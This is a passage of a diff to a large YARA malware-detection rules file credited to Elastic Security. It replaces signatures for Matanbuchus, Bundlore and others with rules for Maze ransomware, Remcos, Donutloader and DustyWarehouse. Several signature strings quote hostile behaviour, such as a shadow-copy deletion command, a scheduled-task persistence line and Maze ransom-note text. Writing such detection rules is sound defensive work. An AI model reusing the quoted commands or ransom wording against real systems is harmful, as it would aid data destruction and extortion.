+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_DustyWarehouse.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8c4de69e89dcc659d2fff52d695764f1efd7e64e0a80983ce6d0cb9eeddb806c"
+		logic_hash = "2b4cd9316e2fda882c95673edecb9c82a03ef4fdcc2d2e25783644cc5dfb5bf0"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7792cffc82678bb05ba1aa315011317611eb0bf962665e0657a7db2ce95f81b4"
+		fingerprint = "a0ef31535c7df8669e2b0cf38e9128e662bf64decabac5c9f3dad3a98f811033"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -76163,31 +80254,32 @@ rule ELASTIC_Windows_Trojan_Matanbuchus_B521801B : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "%PROCESSOR_ARCHITECTURE%" ascii fullword
-		$a2 = "%PROCESSOR_REVISION%\\" ascii fullword
-		$a3 = "%LOCALAPPDATA%\\" ascii fullword
-		$a4 = "\"C:\\Windows\\system32\\schtasks.exe\" /Create /SC MINUTE /MO 1 /TN" ascii fullword
+		$a1 = "%4d.%2d.%2d-%2d:%2d:%2d" wide fullword
+		$a2 = ":]%d-%d-%d %d:%d:%d" wide fullword
+		$a3 = "\\sys.key" wide fullword
+		$a4 = "[rwin]" wide fullword
+		$a5 = "Software\\Tencent\\Plugin\\VAS" fullword
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Windows_Trojan_Matanbuchus_4Ce9Affb : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Dustywarehouse_3Fef514B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Matanbuchus (Windows.Trojan.Matanbuchus)"
+		description = "Detects Windows Trojan Dustywarehouse (Windows.Trojan.DustyWarehouse)"
 		author = "Elastic Security"
-		id = "4ce9affb-58ef-4d31-b1ff-5a1c52822a01"
-		date = "2022-03-17"
-		modified = "2022-04-12"
+		id = "3fef514b-9499-47ce-bf84-8393f8d0260f"
+		date = "2024-05-30"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Matanbuchus.yar#L24-L42"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2"
-		logic_hash = "16441eb4617b6b3cb1e7d600959a5cbfe15c72c00361b45551b7ef4c81f78462"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_DustyWarehouse.yar#L25-L43"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4ad024f53595fdd380f5b5950b62595cd47ac424d2427c176a7b2dfe4e1f35f7"
+		logic_hash = "865ea1e54950a465b71939a41f7a726ccddcfa9f0d777ea853926f65bca0da84"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "61d32df2ea730343ab497f50d250712e89ec942733c8cc4421083a3823ab9435"
+		fingerprint = "077bc59b4b6298e405c1cd37d9416667371190e5d8c83a9a9502753c9065df58"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -76195,28 +80287,28 @@ rule ELASTIC_Windows_Trojan_Matanbuchus_4Ce9Affb : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { F4 83 7D F4 00 77 43 72 06 83 7D F0 11 73 3B 6A 00 6A 01 8B }
+		$a = { 48 83 EC 30 48 C7 44 24 20 FE FF FF FF 48 89 5C 24 48 48 89 74 24 50 C7 44 24 40 [4] 48 8B 39 48 8B 71 08 48 8B 59 10 48 8B 49 18 ?? ?? ?? ?? ?? ?? 84 DB 74 05 E8 E1 01 00 00 48 8B CE }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Matanbuchus_58A61Aaa : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Maze_61254061 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Matanbuchus (Windows.Trojan.Matanbuchus)"
+		description = "Identifies MAZE ransomware"
 		author = "Elastic Security"
-		id = "58a61aaa-51b2-47f2-ab32-2e639957b2d5"
-		date = "2022-03-17"
-		modified = "2022-04-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Matanbuchus.yar#L44-L62"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2"
-		logic_hash = "7226e2f61bd6f1cca15c1f3f8d8697cb277d1e214f756295ffda5bc16304cc49"
+		id = "61254061-e8af-47ab-9cce-96debd99a80a"
+		date = "2020-04-18"
+		modified = "2021-08-23"
+		reference = "https://www.bleepingcomputer.com/news/security/it-services-giant-cognizant-suffers-maze-ransomware-cyber-attack/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Maze.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "b8537add953cdd7bc6adbff97f7f5a94de028709f0bd71102ee96d26d55f4f20"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "332794db0ed7488e939a91594d2100ee013a7f8f91afc085e15f06fc69098ad5"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "670d9abbdea153ca66f24ef6806f97e9af3efb73f621167e95606da285627d1b"
+		threat_name = "Windows.Ransomware.Maze"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -76224,28 +80316,29 @@ rule ELASTIC_Windows_Trojan_Matanbuchus_58A61Aaa : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 83 EC 08 53 56 0F 57 C0 66 0F 13 45 F8 EB ?? 8B 45 F8 83 C0 01 8B 4D FC 83 D1 00 89 45 F8 89 4D FC 8B 55 FC 3B 55 }
+		$c1 = { FC 8B 55 08 8B 44 8A 10 C1 E0 09 8B 4D FC 8B 55 08 8B 4C 8A 10 C1 }
+		$c2 = { 72 F0 0C 66 0F 72 D4 14 66 0F EB C4 66 0F 70 E0 39 66 0F FE E6 66 0F 70 }
 
 	condition:
-		all of them
+		1 of ($c*)
 }
-rule ELASTIC_Windows_Trojan_Matanbuchus_C7811Ccc : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Maze_46F40C40 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Matanbuchus (Windows.Trojan.Matanbuchus)"
+		description = "Identifies MAZE ransomware"
 		author = "Elastic Security"
-		id = "c7811ccc-5d8d-4bc8-a630-ac3282bb207e"
-		date = "2022-03-17"
-		modified = "2022-04-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Matanbuchus.yar#L64-L82"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2"
-		logic_hash = "e65dc05f6d9289a42c05afdc4da0ce1c18c1129dd87688a277ece925e83d7ef1"
+		id = "46f40c40-05a4-4163-a62d-675882149781"
+		date = "2020-04-18"
+		modified = "2021-10-04"
+		reference = "https://www.bleepingcomputer.com/news/security/it-services-giant-cognizant-suffers-maze-ransomware-cyber-attack/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Maze.yar#L23-L44"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "99180f41aaaf1dfb0a8a40709dcc392fdbc2b2d3a4d4b4a1ab160dd5f2b4c703"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "05f209a24d9eb2be7fa50444d8271b6f147027291f55a352ac3af5e9b3207010"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "efe1e0d23fbfd72fd2843a9c8d5e62394ef8c75b9a7bd03fdbb36e2cf97bf12e"
+		threat_name = "Windows.Ransomware.Maze"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -76253,28 +80346,30 @@ rule ELASTIC_Windows_Trojan_Matanbuchus_C7811Ccc : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 83 EC 08 53 56 0F 57 C0 66 0F 13 45 F8 EB ?? 8B 45 F8 83 C0 01 8B 4D FC 83 D1 00 89 45 F8 89 4D FC 8B 55 FC 3B 55 10 77 ?? 72 ?? 8B 45 F8 3B 45 0C 73 ?? 6A 00 6A 08 8B 4D FC 51 8B 55 F8 52 E8 ?? ?? ?? ?? 6A 00 6A 08 52 50 E8 ?? ?? ?? ?? 8B C8 8B 45 14 8B 55 18 E8 ?? ?? ?? ?? 0F BE F0 6A 00 6A 01 8B 55 FC 52 8B 45 F8 50 E8 ?? ?? ?? ?? 8B 4D 08 0F BE 1C 01 33 DE 6A 00 6A 01 8B 55 FC 52 8B 45 F8 50 E8 ?? ?? ?? ?? 8B 4D 08 88 1C 01 E9 ?? ?? ?? ?? 5E 5B 8B E5 5D C2 14 00 }
+		$b1 = "Dear %s, your files have been encrypted by RSA-2048 and ChaCha algorithms" wide fullword
+		$b2 = "Maze Ransomware" wide fullword
+		$b3 = "%s! Alert! %s! Alert! Dear %s Your files have been encrypted by %s! Attention! %s" wide fullword
 
 	condition:
-		all of them
+		2 of ($b*)
 }
-rule ELASTIC_Windows_Trojan_Raspberryrobin_4B4D6899 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Maze_20Caee5B : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Raspberryrobin (Windows.Trojan.RaspberryRobin)"
+		description = "Identifies MAZE ransomware"
 		author = "Elastic Security"
-		id = "4b4d6899-bcde-4c40-90c9-bbb621aa1ebf"
-		date = "2023-12-13"
-		modified = "2024-01-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_RaspberryRobin.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2f0451f38adb74cb96c857de455887b00c5038b68210294c7f52b0b5ff64cc1e"
-		logic_hash = "bbafad9509b367e811e86cb8f2f64d9c1d59f82b5cd58a7af43325bb7fa9d9c3"
+		id = "20caee5b-cf7f-4db7-8c3b-67baf63bfc32"
+		date = "2020-04-18"
+		modified = "2021-08-23"
+		reference = "https://www.bleepingcomputer.com/news/security/it-services-giant-cognizant-suffers-maze-ransomware-cyber-attack/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Maze.yar#L46-L71"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "e09c059b285d2176aeba1a1f70d39f13cef4e05dc023c7db25fb9d92bd9a67d9"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "f74bd83ba1ede9b1dce070967aedc7f8df923c7393c69fcf7c4cfcf7988e0f24"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "47525839e0800f6edec6ad4580682a336e36f7d13bd9e7214eca0f16941016b8"
+		threat_name = "Windows.Ransomware.Maze"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -76282,28 +80377,34 @@ rule ELASTIC_Windows_Trojan_Raspberryrobin_4B4D6899 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 55 89 E5 83 EC 0C 8B 45 08 3D 01 00 10 00 89 45 FC 89 4D F8 73 0F 8B 45 FC 89 45 F4 8B 4D F4 64 8B 11 89 55 F8 8B 45 F8 83 C4 0C 5D C3 }
+		$a1 = "Win32_ShadowCopy.id='%s'" wide fullword
+		$a2 = "\"%s\" shadowcopy delete" wide fullword
+		$a3 = "%spagefile.sys" wide fullword
+		$a4 = "%sswapfile.sys" wide fullword
+		$a5 = "Global\\%s" wide fullword
+		$a6 = "DECRYPT-FILES.txt" wide fullword
+		$a7 = "process call create \"cmd /c start %s\"" wide fullword
 
 	condition:
-		all of them
+		4 of ($a*)
 }
-rule ELASTIC_Windows_Hacktool_Sharpgpoabuse_14Ea480E : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Maze_F88F136F : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Sharpgpoabuse (Windows.Hacktool.SharpGPOAbuse)"
+		description = "Identifies MAZE ransomware"
 		author = "Elastic Security"
-		id = "14ea480e-fbd5-4dd3-885c-9a13bfb4400b"
-		date = "2024-03-25"
-		modified = "2024-05-08"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SharpGPOAbuse.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d13f87b9eaf09ef95778b2f1469aa34d03186d127c8f73c73299957d386c78d1"
-		logic_hash = "efc1259f4ed05c8f41df75c056d36fd5a808a92b5c88cfb0522caedea39476b4"
+		id = "f88f136f-755c-46d6-9dbe-243342ae315a"
+		date = "2020-04-18"
+		modified = "2021-08-23"
+		reference = "https://www.bleepingcomputer.com/news/security/it-services-giant-cognizant-suffers-maze-ransomware-cyber-attack/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Maze.yar#L73-L94"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "5587f332a076650f6ad7b1e3b464ef6085d960e6dacf53607cf75c9f9ad07628"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "1f86d5dfc193076127dcc4355cbf0c4bdffc0785ca2daf8e1364d76ee273b343"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "3fa065d28d864868e49b394e895207c8be2252a9e211ac4bacce10d9ff04607e"
+		threat_name = "Windows.Ransomware.Maze"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -76311,476 +80412,518 @@ rule ELASTIC_Windows_Hacktool_Sharpgpoabuse_14Ea480E : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$name = "SharpGPOAbuse" wide fullword
-		$s1 = "AddUserTask" wide fullword
-		$s2 = "AddComputerTask" wide fullword
-		$s3 = "AddComputerScript" wide fullword
-		$s4 = "AddUserScript" wide fullword
-		$s5 = "GPOName" wide fullword
-		$s6 = "ScheduledTasks" wide fullword
-		$s7 = "NewImmediateTask" wide fullword
+		$d1 = { 00 67 00 20 00 69 00 6E 00 73 00 74 00 72 00 75 00 63 00 74 00 69 00 6F 00 6E 00 73 00 20 00 69 00 6E 00 20 00 44 00 45 00 43 00 52 00 59 00 50 00 54 00 2D 00 46 00 49 00 4C 00 45 00 53 00 2E }
+		$d2 = { 70 C7 8B 75 6D 97 7E FC 19 2A 39 8C A4 AE AD 9C 62 05 B7 68 47 7D 02 F7 D3 0A DA 20 82 AE A8 E7 B2 26 E1 A0 5B 4E 17 09 A6 94 74 CA B6 0B 88 B0 5F 6E 11 E3 B0 EA 2F 40 D7 A2 AB 59 52 E0 F2 C2 19 24 14 95 01 7F CA }
+		$d3 = { 77 B3 50 3C B1 9B 5D D4 87 F5 17 DB E1 C7 42 D8 53 24 C2 E2 6A A8 9B 1E FB E5 48 EB 10 48 44 28 64 F8 B6 A1 41 44 D0 42 FA 85 6F 17 57 09 C4 66 93 D2 21 C5 19 71 3A A1 C5 68 2E 67 B1 02 DC D1 }
 
 	condition:
-		($name and 1 of ($s*)) or all of ($s*)
+		1 of ($d*)
 }
-rule ELASTIC_Macos_Trojan_Bundlore_28B13E67 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Remcos_B296E965 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
+		description = "Detects Windows Trojan Remcos (Windows.Trojan.Remcos)"
 		author = "Elastic Security"
-		id = "28b13e67-e01c-45eb-aae6-ecd02b017a44"
-		date = "2021-10-05"
-		modified = "2021-10-25"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Bundlore.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0b50a38749ea8faf571169ebcfce3dfd668eaefeb9a91d25a96e6b3881e4a3e8"
-		logic_hash = "586ae19e570c51805afd3727b2e570cdb1c48344aa699e54774a708f02bc3a6f"
+		id = "b296e965-a99e-4446-b969-ba233a2a8af4"
+		date = "2021-06-10"
+		modified = "2021-08-23"
+		reference = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Remcos.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed"
+		logic_hash = "069072abd1182eee50cb9937503d47845e7315d8e3cd6b63576adc8f21820c82"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1e85be4432b87214d61e675174f117e36baa8ab949701ee1d980ad5dd8454bac"
+		fingerprint = "a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a = { 05 A5 A3 A9 37 D2 05 13 E9 3E D6 EA 6A EC 9B DC 36 E5 76 A7 53 B3 0F 06 46 D1 }
+		$a1 = "Remcos restarted by watchdog!" ascii fullword
+		$a2 = "Mutex_RemWatchdog" ascii fullword
+		$a3 = "%02i:%02i:%02i:%03i"
+		$a4 = "* Remcos v" ascii fullword
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Macos_Trojan_Bundlore_75C8Cb4E : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Remcos_7591E9F1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
+		description = "Detects Windows Trojan Remcos (Windows.Trojan.Remcos)"
 		author = "Elastic Security"
-		id = "75c8cb4e-f8bd-4a2c-8a5e-8500e12a9030"
-		date = "2021-10-05"
-		modified = "2021-10-25"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Bundlore.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3d69912e19758958e1ebdef5e12c70c705d7911c3b9df03348c5d02dd06ebe4e"
-		logic_hash = "527fecb8460c0325c009beddd6992e0abbf8c5a05843e4cedf3b17deb4b19a1c"
+		id = "7591e9f1-452d-4731-9bec-545fb0272c80"
+		date = "2023-06-23"
+		modified = "2023-07-10"
+		reference = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Remcos.yar#L25-L49"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4e6e5ecd1cf9c88d536c894d74320c77967fe08c75066098082bf237283842fa"
+		logic_hash = "96acf1ba7740a8d34d929ed4a4fa446c984c3a8f64a603d428e782b6997e4d20"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "db68c315dba62f81168579aead9c5827f7bf1df4a3c2e557b920fa8fbbd6f3c2"
+		fingerprint = "9436c314f89a09900a9b3c2fd9bab4a0423912427cf47b71edce5eba31132449"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a = { 35 EE 19 00 00 EA 80 35 E8 19 00 00 3B 80 35 E2 19 00 00 A4 80 35 DC 19 00 00 }
+		$a1 = "ServRem" ascii fullword
+		$a2 = "Screenshots" ascii fullword
+		$a3 = "MicRecords" ascii fullword
+		$a4 = "remcos.exe" wide nocase fullword
+		$a5 = "Remcos" wide fullword
+		$a6 = "logs.dat" wide fullword
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Macos_Trojan_Bundlore_17B564B4 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Donutloader_F40E3759 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
+		description = "Detects Windows Trojan Donutloader (Windows.Trojan.Donutloader)"
 		author = "Elastic Security"
-		id = "17b564b4-7452-473f-873f-f907b5b8ebc4"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "f40e3759-2531-4e21-946a-fb55104814c0"
+		date = "2021-09-15"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Bundlore.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "94f6e5ee6eb3a191faaf332ea948301bbb919f4ec6725b258e4f8e07b6a7881d"
-		logic_hash = "40cd2a793c8ed51a8191ecb9b358f50dc2035d997d0f773f6049f9c272291607"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Donutloader.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "541a4ca1da41f7cf54dff3fee917b219fadb60fd93a89b93b5efa3c1a57af81d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7701fab23d59b8c0db381a1140c4e350e2ce24b8114adbdbf3c382c6d82ea531"
+		fingerprint = "a6b9ccd69d871de081759feca580b034e3c5cec788dd5b3d3db033a5499735b5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a = { 35 D9 11 00 00 05 80 35 D3 11 00 00 2B 80 35 CD 11 00 00 F6 80 35 C7 11 00 00 }
+		$x64 = { 06 B8 03 40 00 80 C3 4C 8B 49 10 49 8B 81 30 08 00 00 }
+		$x86 = { 04 75 EE 89 31 F0 FF 46 04 33 C0 EB 08 83 21 00 B8 02 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Macos_Trojan_Bundlore_C90C088A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Donutloader_5C38878D : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
+		description = "Detects Windows Trojan Donutloader (Windows.Trojan.Donutloader)"
 		author = "Elastic Security"
-		id = "c90c088a-abf5-4e52-a69e-5a4fd4b5cf15"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "5c38878d-ca94-4fd9-a36e-1ae5fe713ca2"
+		date = "2021-09-15"
+		modified = "2021-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Bundlore.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "875513f4ebeb63b9e4d82fb5bff2b2dc75b69c0bfa5dd8d2895f22eaa783f372"
-		logic_hash = "c82c5c8d1e38e0d2631c5611e384eb49b58c64daeafe0cc642682e5c64686b60"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Donutloader.yar#L21-L38"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "897880d13318027ac5008fe8d008f09780d6fa807d6cc828b57975443358750c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c2300895f8ff5ae13bc0ed93653afc69b30d1d01f5ce882bd20f2b65426ecb47"
+		fingerprint = "3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a = { 35 E1 11 00 00 92 80 35 DB 11 00 00 2A 80 35 D5 11 00 00 7F 80 35 CF 11 00 00 }
+		$a = { 24 48 03 C2 48 89 44 24 28 41 8A 00 84 C0 74 14 33 D2 FF C1 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Macos_Trojan_Bundlore_3965578D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Donutloader_21E801E0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
+		description = "Detects Windows Trojan Donutloader (Windows.Trojan.Donutloader)"
 		author = "Elastic Security"
-		id = "3965578d-3180-48e4-b5be-532e880b1df9"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "21e801e0-b016-48b2-81f5-930e7d3dd318"
+		date = "2024-01-21"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Bundlore.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d72543505e36db40e0ccbf14f4ce3853b1022a8aeadd96d173d84e068b4f68fa"
-		logic_hash = "6bd24640e0a3aa152fcd90b6975ee4fb7e99ab5f2d48d3a861bc804c526c90b6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Donutloader.yar#L40-L58"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c3bda62725bb1047d203575bbe033f0f95d4dd6402c05f9d0c69d24bd3224ca6"
+		logic_hash = "19ef7bc8c7117024ca72956376954254c36eeb673f9379aa00475f763084a169"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e41f08618db822ba5185e5dc3f932a72e1070fbb424ff2c097cab5e58ad9e2db"
+		fingerprint = "8b971734d471f281e7c48177096359e8f43578a12e42f6203f55d5e79d9ed09d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a = { 35 33 2A 00 00 60 80 35 2D 2A 00 00 D0 80 35 27 2A 00 00 54 80 35 21 2A 00 00 }
+		$a = { 48 89 45 F0 48 8B 45 F0 48 81 C4 D0 00 00 00 5D C3 55 48 81 EC 60 02 00 00 48 8D AC 24 80 00 00 00 48 89 8D F0 01 00 00 48 89 95 F8 01 00 00 4C 89 85 00 02 00 00 4C 89 8D 08 02 00 00 48 C7 85 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Bundlore_00D9D0E9 : FILE MEMORY
